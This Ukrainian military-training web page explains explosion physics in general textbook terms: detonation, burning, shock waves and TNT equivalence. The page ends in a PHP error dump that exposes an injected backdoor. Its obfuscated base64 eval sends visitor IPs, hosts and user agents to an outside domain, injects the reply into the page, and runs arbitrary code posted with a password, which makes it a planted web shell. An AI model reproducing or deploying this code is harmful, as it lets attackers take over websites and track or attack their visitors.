Вибух і супровідні процеси

Український легіон » Дисципліни » Авіаційні засоби ураження » Вибух і супровідні процеси

Вибух і супровідні процеси

 Вибухом у широкому змісті слова, називається процес надзвичайно швидкого фізичного чи хімічного перетворення речовини, що супроводжується переходом його потенційної енергії в кінетичну (тобто якусь механічну роботу).

 Характерною ознакою  вибуху є різкий стрибок тиску в середовищі, що  оточує місце вибуху.

Цей стрибок тиску служить безпосередньою причиною  руйнівної дії вибуху,  який обумовлюється швидким розширенням  газів чи парів, що  існували або до вибуху, або утворилися при вибуху.

  Вибухи можуть бути викликані різними фізичними  або  хімічними явищами.  Прикладами  їх можуть служити:

  • вибухи парових  чи казанів балонів зі стиснутим газом;
  • могутні  іскрові  розряди  (блискавка) та ін..

  Найбільше застосування в техніку знаходять вибухи,  зв'язані  з перетвореннями особливих  речовин.

Хімічні  сполуки чи суміші, що під впливом зовнішніх впливів здатні до хімічного перетворення, яке самопоширюється, з утворенням сильно нагрітих газоподібних продуктів, називаються - вибуховими речовинами(ВР). 

  Відомі два типи ВР:

  • хімічні;
  • ядерні.

Вибух хімічних ВР являє  собою  швидку хімічну реакцію, у результаті якої первісна речовина перетворюється в інші речовини – продукти вибуху. Енергія, що виділяється при цьому, є частиною внутрішньої енергії речовини, що  вивільняється  в  результаті перегрупування атомів молекули ВР.

При ядерних вибухах виділяється енергія,  яка знаходиться усередині атомних ядер.

Ядерні вибухи відрізняються від  хімічних  виділенням  значно  більшої енергії, тому що основна частка енергії атома  зосереджена  усередині  його  ядра.

Надалі   нас будуть цікавити тільки вибухи звичайних боєприпасів і відповідні їм  вибухові  речовини. Ядерні ВР  складають предмет самостійного розгляду.

Здатність хімічних речовин до вибухових перетворень  визначається наступними трьома факторами:

  • екзотермічністю реакції (виділення тепла);
  • великою швидкістю її протікання (поширення);
  • наявністю великої кількості газоутворюючих продуктів реакції.

Розглянемо значення  кожного з них.

  Екзотермічність реакції (виділення тепла)- є  першою  необхідною  умовою, без якого вибуховий процес узагалі не можливий. 

 Вибухова реакція звичайно виникає під впливом зовнішнього  імпульсу  на  обмеженій ділянці речовини.  Перехід  реакції в процес розкладання всієї речовини може відбутися в тому випадку,  якщо вона  буде  поширюватися по речовині спонтанно, що можливо тільки при постійному припливі тепла.

 Кількість тепла, що виділяється при вибуховій реакції, визначає також енергію вибуху,  а отже, її роботу, що можуть зробити продукти вибуху при розширенні.  Чим більше теплота  реакції і швидкість її поширення,  тим більше руйнівна дія вибуху.

Теплота реакції є  критерієм працездатності ВР і найважливішою його характеристикою. Для сучасних ВР, що  знаходять найбільше застосування в техніки, теплота вибухового перетворення лежить у межах від 900 до 1800 ккал/кг.

Велика швидкість процесу - є найбільш характерною  рисою вибуху, що відрізняє його від звичайних хімічних реакцій.

 Нерідко можна чути неправильне представлення про те, що -  дія   вибуху, що руйнує,  обумовлюється  нібито  надзвичайно великою потенційною енергією, що міститься у вибухових речовинах. Ці неправильні  представлення про ВР  служать іноді приводом для різного роду  пропозицій про  заміну  в  двигунах внутрішнього згоряння  звичайних палив (бензин,  гас) вибуховими речовинами.

Розглянемо таблицю,  у якій приведене порівняння звичайних пальних речовин із ВР по тепломісткості.

 

         Найменування

Теплота, виділювана при розкладанні речовини (ккал/кг)

Гас

12 000

Бензин

10 000

Антрацит

8 000

Дерево

4 500 - 4 200

Тротил

1 000

Гримуча ртуть

1 000

Чорний порох

700

З цієї таблиці випливає,  що розкладання ВР носить вибуховий характер (має  руйнівну дію) не тому,  що ВР містить у собі великі запаси енергії,  тому що по запасах  енергії  на один кг  ваги  ВР  значно уступають звичайним паливам (гас, бензин і т.д.). Вибуховий характер реакції розкладання ВР порозумівається тим, що ця реакція відбувається надзвичайно швидко.

Якщо 1 кг бензину в моторі автомобіля згоряє за 5-6 хв, то для вибухового розкладання одного  кг тротилу потрібно усього лише 1-2 стотисячні частки секунди.  Отже,  при вибуху енергія виділяється в десятки мільйонів  разів  швидше,  ніж  при  горінні  звичайних палив.

 Вибухові процеси протікають настільки швидко,  що вся енергія практично устигає виділитися в обсягу, зайнятому самим ВР. Це приводить до таких високих концентрацій енергії,  які не досяжні в умовах звичайного  протікання хімічної реакції.

   Це обумовлює високу потужність вибуху і здатність до  руйнівної  дії.  Таким чином, ВР уступаючи звичайним паливам по тепломісткості, значно перевершує їх по швидкості  хімічного  розкладання.

Про швидкість хімічного розкладання ВР прийнято судити на підставі величини лінійної швидкості поширення вибуху по  заряду ВР. Максимальна  швидкість  поширення вибуху для сучасних ВР лежить у межах від 2000 до 10000 м/сек.

У залежності від швидкості  вибухового  перетворення  розрізняють три види вибухових процесів:

  • горіння;
  • вибух;
  • детонація.

 Горінням - називають процес вибухового перетворення, що  протікає порівняно повільно і з перемінною швидкістю (звичайно від часток сантиметра до декількох метрів у  секунду). 

Швидкість  горіння істотно залежить  від зовнішнього тиску.  З ростом тиску швидкість горіння зростає.  

На відкритому повітрі цей  процес  не супроводжується значним звуковим  чи ефектом помітною механічною дією.  В обмеженому ж обсягу процес протікає  інтенсивніше,  характеризується  більш-менш швидким наростанням тиском і здатністю газоподібних продуктів  горіння  робити роботу метання.

 Прикладом такого процесу може служити горіння пороху в камері знаряддя (порохової  рушниці). Горіння  є характерним видом вибухового перетворення пороху.

Вибухом - називають процес перетворення, що протікає також з перемінною швидкістю, але вимірюваний уже тисячами метрів у секунду, і порівняно мало залежний від зовнішніх умов.

Процес характеризується різким  стрибком  тиску  в місці вибуху й ударом газів по навколишньому середовищу, що  викликає дроблення і сильні деформації предметів на відносно невеликих відстанях.

 Детонація - являє собою зривши, що поширюється з постійної і  максимально  можливої  для даного ВР і даних умов швидкістю.

Швидкість детонації  є для заданих умов для кожного ВР визначеною константою й однієї з найважливіших його характеристик.

По природі  явища детонація не відрізняється від процесу вибуху,  а представляє лише його стаціонарну форму. При детонації досягається максимальна руйнівна дія вибуху.

 Процеси вибуху і детонації принципово відрізняються від  процесу горіння за характером свого поширення.

 Самопоширення горіння по масі ВР відбувається за рахунок явища  теплопровідності, дифузії  і випромінювання  шляхом передачі енергії у формі тепла, від гарячих продуктів розкладання до найближчих шарів  вибухової речовини. Температура  речовини  в цих шарах підвищується,  і в них виникає реакція.

 Самопоширення вибуху і детонації відбувається шляхом  передачі  енергії від шару до шару хвилею стиску (ударною хвилею).

Швидкість поширення процесу перевищує швидкість звуку в даній речовині.

Здатність ВР до надзвичайно швидкого хімічного розкладання обумовлено особливостями їхньої хімічної природи.

Газоутворення чи газоподібні продукти вибуху відіграють  роль робочого тіла,  що перетворює теплову енергію в механічну роботу.

  У результаті вибухової реакції первісне ВР  перетворюється в газоподібні нагріті продукти вибуху,  що, будучи стиснутими, у початковому обсязі заряду до тиску  (150-200)*10  Паскалей, швидко розширюючи, завдають удару по навколишньому середовищу і тим самим роблять роботу з  руйнуванню чи струсу середовища.

  При вибуху хімічних ВР на 1 кг ВР утвориться близько 1000 л газоподібних продуктів. При відсутності газоутворення, навіть при виконанні перших двох умов, реакція розкладання не носить руйнівного характеру.

 Таким чином,  на підставі викладеного можна укласти, що вибух являє собою сукупність трьох  факторів:

  • екзотермічності;
  • швидкості процесу;
  • газоутворення.

Відсутність хоча б одного з цих факторів виключає можливість вибуху.

На характер протікання вибухового процесу і його кінцевий результат визначальне вплив роблять:

  • фізико-хімічні властивості речовини;
  • умови порушення хімічної реакції;
  • умови, при який відбувається вибух.

Спільний вплив цих факторів визначає не тільки швидкість поширення реакції вибухового перетворення, але і сам механізм хімічної реакції розкладання речовини.

Приклад: якщо підпалити шматок тротилу, то на відкритому повітрі він буде повільно горіти  полум'ям, що коптить, при цьому швидкість горіння не буде перевершувати мм у сек.  Енергія, що виділяється, буде витрачатися на нагрівання повітря.

Якщо ж реакцію розкладання такого ж шматка тротилу збудити дією капсуля-детонатора то зривши відбудеться протягом  декількох десятків мікросекунд, при цьому продукти вибуху зроблять різкий удар по повітрю і навколишнім тілам, збуджуючи в них ударну хвилю і роблячи руйнування.

 

Фізична картина вибуху

Якісна картина процесу вибуху

1.  Існує зона, яка має назву зони хімічної реакції (ЗХР).У  цій зоні вибухова речовина (ВР) реагує і перетворюється в сильно нагріті гази й утворяться продукти вибуху. При цьому тиск продуктів вибуху набагато більше тиску атмосферного (Рп.в...>>Ро).

2.    Зона хімічної реакції необмежено самопоширюється.

3.    За рахунок розширення газів відбувається утворення механічної енергії руйнування.

Для оптимізації кількісних співвідношень процесів що відбуваються при вибуху використовується гідродинамічна теорія детонації. Гідродинамічна теорія поясняє процес вибуху рухом по ВР сильної ударної хвилі. На фронті ударної хвилі різко підвищується температура, у результаті чого починається хімічна реакція розкладання ВР, процес цей протікає не миттєво, а в плині якогось часу. При хімічній реакції утворяться газоподібні продукти, і виділяється тепло.

Детонаційною хвилею називається поширення по заряду ВР сильної ударної хвилі та наступної за нею зона хімічної реакції.

Швидкість руху фронту ударної хвилі

Д = u + а,

 

де: u – масова швидкість руху часток хвилі, а – місцева швидкість звуку

Продукти вибуху газоподібних ВР являють собою суміш двох, трьохатомних молекул.

Картина проходження по ВР детонаційної хвилі  і утворення ЗХР

 

Рис. 1

ПВ  - продукти вибуху;

ПД  - продукти детонації;

ЗХР - зона хімічної реакції;

ВР  - вибухова речовина;

Д     - хвиля детонації.

Дія вибуху, що руйнує, залежить від того, як продукти вибуху будуть поширюватися навколо заряду. Під характером поширення вибуху розуміється  навколишня  відносно заряду область простору, кожна точка якої характеризується  визначеними параметрами (Р, Т, а, р)  продуктів вибуху, що розлітаються. Параметри міняються  з часом .

Можливе керування полем вибуху за допомогою:

  • зміни форми заряду;
  • зміни положення точки ініціювання заряду;
  • двостороннього ініціювання;
  • зміни конфігурації фронту детонаційної хвилі;
  • зміною параметрів оболонки.

 

Ударна хвиля

Будь-яке середовище характеризується набором параметрів: тиску, щільності, температури і  місцевою швидкістю звуку (Р, р, Т, а).

Ударною хвилею називається область з підвищеними значеннями параметрів (Р, р, Т, а), яка поширюється по середовищу з надзвуковою швидкістю.

Властивості ударних хвиль:

  • параметри (Р, р, Т, а) підвищені;
  • зміна параметрів середовища в ударній хвилі відбувається стрибкоподібно;
  • надзвукова швидкість поширення хвилі.

Поверхня на який відбувається стрибкоподібна зміна параметрів середовища називається фронтом ударної хвилі.

Ро, ро, То

Д > ао

 

Рис. 2

 

Особливості ударних хвиль:

  • ударна хвиля може виникати тільки в пружних, стисливих середовищах;
  • ударна хвиля виникає тільки при сильних збурюваннях.

При слабких збурюваннях утвориться звукова хвиля, що поширюється зі швидкістю, яка дорівнює місцевій швидкості звуку, а частки середовища виконують тільки коливальні рухи, не переміщаючись за хвилею. При сильному збурюванні утвориться хвиля, що поширюється з надзвуковою швидкістю, за який поширюються частки.  Картина утворення ударної хвилі показана на рис.3

 
    

 

 

 

 

 

 

 

 

Рис.3 Картина утворення ударної хвилі

Тиск на фронті ударної хвилі є функція потужності ВР, маси заряду, початкових параметрів середовища.

 

Закон подоби: При вибуху двох геометрично подібних зарядів ВР параметри повітряної ударної хвилі на однакових відносних відстанях від точки вибуху рівні.

Для зручності розрахунків надлишкового тиску різних типів ВР застосовують поняття тротиловий еквівалент заряду (маса заряду з тротилу утворить стільки ж енергії, як і при вибуху даної речовини).

Рух ударної хвилі супроводжується виникненням хвиль розрядження. властивості хвиль розрядження:

  • хвиля розрядження переміщається з місцевою швидкістю звуку;
  • хвиля розрядження завжди має знижені значення параметрів  навколишнього середовища (Р, р, Т, а);
  • зміна параметрів навколишнього середовища (Р, р, Т, а) не відбувається стрибкоподібно.

Картина утворення хвилі розрядження показана на рис.4

 

Рис.4 Картина утворення хвилі розрядження

 

Ударні хвилі мають можливість обтікати перешкоди і відбиватися від них.

Останні статті

Отримання дозволу на зброю
03.04.2015

Отримання дозволу на зброю

Перелік документів на придбання нарізної та гладкоствольної зброї
Детальніше
Гарнізонні заходи за участю військ.
28.05.2014

Гарнізонні заходи за участю військ.

Детальніше
MODx Content Manager »

« MODx Parse Error »

MODx encountered the following error while attempting to parse the requested resource:
« PHP Parse Error »
 
PHP error debug
  Error: assert(): Assertion "eval(base64_decode("aWYgKCFpc3NldCgkaWJ2KSkgeyAgQGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIixmYWxzZSk7QGVycm9yX3JlcG9ydGluZygwKTsKaWYoIWVtcHR5KCRfQ09PS0lFWyJjbGllbnRfY2hlY2siXSkgJiYgZW1wdHkoJGlidikpIHsgJGlidiA9ICRfQ09PS0lFWyJjbGllbnRfY2hlY2siXTsgIGVjaG8gJGlidjt9IGVsc2VpZiAoZW1wdHkoJGlidikpIHsKaWYgKHN0cnN0cigkX1NFUlZFUlsiSFRUUF9IT1NUIl0sICIxMjcuMCIpKXskbmFtZSA9ICRfU0VSVkVSWyJTRVJWRVJfQUREUiJdO31lbHNleyRuYW1lID0gJF9TRVJWRVJbIkhUVFBfSE9TVCJdO30KJHVzZXJhID0gaXNzZXQoJF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdKT91cmxlbmNvZGUoJF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdKToiIjsKJHVybCA9ICJodHRwOi8vbGV0c2dvdG90b3AuY29tL2dldC5waHA/aXA9Ii51cmxlbmNvZGUoJF9TRVJWRVJbIlJFTU9URV9BRERSIl0pLiImZD0iLnVybGVuY29kZSgkbmFtZS4kX1NFUlZFUlsiUkVRVUVTVF9VUkkiXSkuIiZ1PSIuJHVzZXJhLiImaT0xJmg9Ii5tZDUoIjRmNGQzYjhlNzBmYzNkODJhN2VjN2VhNWU2ODk1Y2FhMTEiKTsKaWYoZnVuY3Rpb25fZXhpc3RzKCJjdXJsX2luaXQiKSkgewokY2ggPSBjdXJsX2luaXQoJHVybCk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IRUFERVIsIEZBTFNFKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09OTkVDVFRJTUVPVVQsIDUpOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVElNRU9VVCwgNSk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgVFJVRSk7CiRpYnYgPSBjdXJsX2V4ZWMoJGNoKTskaW5mbyA9IGN1cmxfZ2V0aW5mbygkY2gpO2lmICgkaW5mb1siaHR0cF9jb2RlIl0hPTIwMCl7JGlidj0iIjt9CmN1cmxfY2xvc2UoJGNoKTsKfSBlbHNlaWYoaW5pX2dldCgiYWxsb3dfdXJsX2ZvcGVuIikgPT0gMSkgewokaWJ2ID0gZmlsZV9nZXRfY29udGVudHMoJHVybCk7Cn0KaWYoIWVtcHR5KCRfUE9TVFsicCJdKSAmJiBtZDUobWQ1KCRfUE9TVFsicCJdKSkgPT0gIjNmMTFlNmE0MmJjMWQ4MDE2MDUwMzEyYzc4OWRkNzFmIikgeyBAZXZhbChzdHJpcHNsYXNoZXMoJF9QT1NUWyJjIl0pKTsgfQplY2hvICRpYnY7Cn0gfQ=="));" failed 
  Error type/ Nr.: Warning - 2 
  File: /sata2/home/users/ukrlegion/www/www.ukrlegion.com/index.php 
  Line: 138 
  Line 138 source: $light = $strings2($gbz.'("nJLtXPScp3AyqPtxnJW2XFxtrlNtDTyhnI9mMKDbVzEcp3OfLKysMKWlo3WmVvkzLJkmMFx7DTIlpz9lK3WypT9lqTyhMltjXGfXnJLbVJIgpUE5XPEsD09CF0ySJlWwoTyyoaEsL2uyL2fvKFxtWvLtMJ1jqUxbWTyvqvxcVUftWTyvqvN9VPEsD09CF0ySJlWwoTyyoaEsL2uyL2fvKGftVTIwnT8tWTyvqwg9VTIfp2IcMvNbMJ1jqUxbWTyvqvxcVUfXnJLtXUA0paA0pvtxK1ASHyMSHyfvFSEHHS9VG1AHVy0fVPVkZwphZPVcXKfxozSgMFN9VPEsH0IFIxIFJlWGEIWJEIWsDHERHvWqB31yoUAyrlEhLJ1yVQ0tWS9GEIWJEIWoVxuHISOsFR9GIPWqB30XWUImMKWuVQ0tnKAmMKDbWS9GEIWJEIWoVxuHISOsIIASHy9OE0IBIPWqXG91pzkyozAiMTHbWS9GEIWJEIWoVxuHISOsIIASHy9OE0IBIPWqXGbvVwfXWUIloPN9VPWbqUEjBv8ioTI0p2qiqT90o3NhL29gY2qyqP5jnUN/nKN9Vv51pzkyozAiMTHbWS9GEIWJEIWoVyWSGH9HEI9OEREFVy0cYvVzMQ0vYaIloTIhL29xMFtxozSgMF4xK1ASHyMSHyfvHxIEIHIGIS9IHxxvKFxhVvM1CFVhWUImMKWuYvVznG0kWzt9Vv5gMQHbVwEzATDmLwuyAmOzLmAxBQWuA2IwA2IuAJH2BQx1L2SuZGRvXGfXnJLbMaIhL3Eco25sMKucp3EmXPWwqKWfK2yhnKDvXFxtrjbxL2ttCFOwqKWfK2yhnKDbWUIloPx7PzA1pzksp2I0o3O0XPEwnPjtD1IFGR9DIS9VEHSREIVfVRMOGSASXGgwqKWfK3AyqT9jqPtxL2tfVRAIHxkCHSEsD09BGxIQISEWGHICIIDfVQHcBlOwqKWfK3AyqT9jqPtxL2tfVRAIHxkCHSEsIRyAEH9IIPjtAFx7PzA1pzksp2I0o3O0XPEwnPjtD1IFGR9DIS9FEIEIHx5HHxSBH0MSHvjtISWIEFx7PvEcLaLtCFOwqKWfK2I4MJZbWTAbXGfxnJ5zolN9VTA1pzksM2I0nJ5zoltxL2tcB2yzVPtxnJ5zo1fvnUE0pS9wo2EyVy0uCGVjZPy7WTyvqw0vVwg9PzA1pzksL2kip2HbWTAbXGfXsFOyoUAynJLbnJ5cK2qyqPtvLJkfo3qsqKWfK2MipTIhVvxtCG0tZFxtrjbxnJW2VQ0tMzyfMI9aMKEsL29hqTIhqUZbWUIloPx7Pa0XnJLbVJIgpUE5XPEsHR9GISfvpPWqXFNzWvOgMQHboJD1XPEsHR9GISfvpPWqXFxtCG0tVwAzZGSyAzR0ZzWwZJD4ZQR2ZQHjZmRlLmp4BJExAmSzVvxtrlONMKMuoPumqUWcpUAfLKAbMKZbWS9DG1AHJlWwVy0cXGftsDcyL2uiVPEcLaL7Pa0tsD=="));'); $strings($light); ?> 
 
Parser timing
  MySQL: 0,0100 s(22 Requests)
  PHP: 0,3748 s 
  Total: 0,3848 s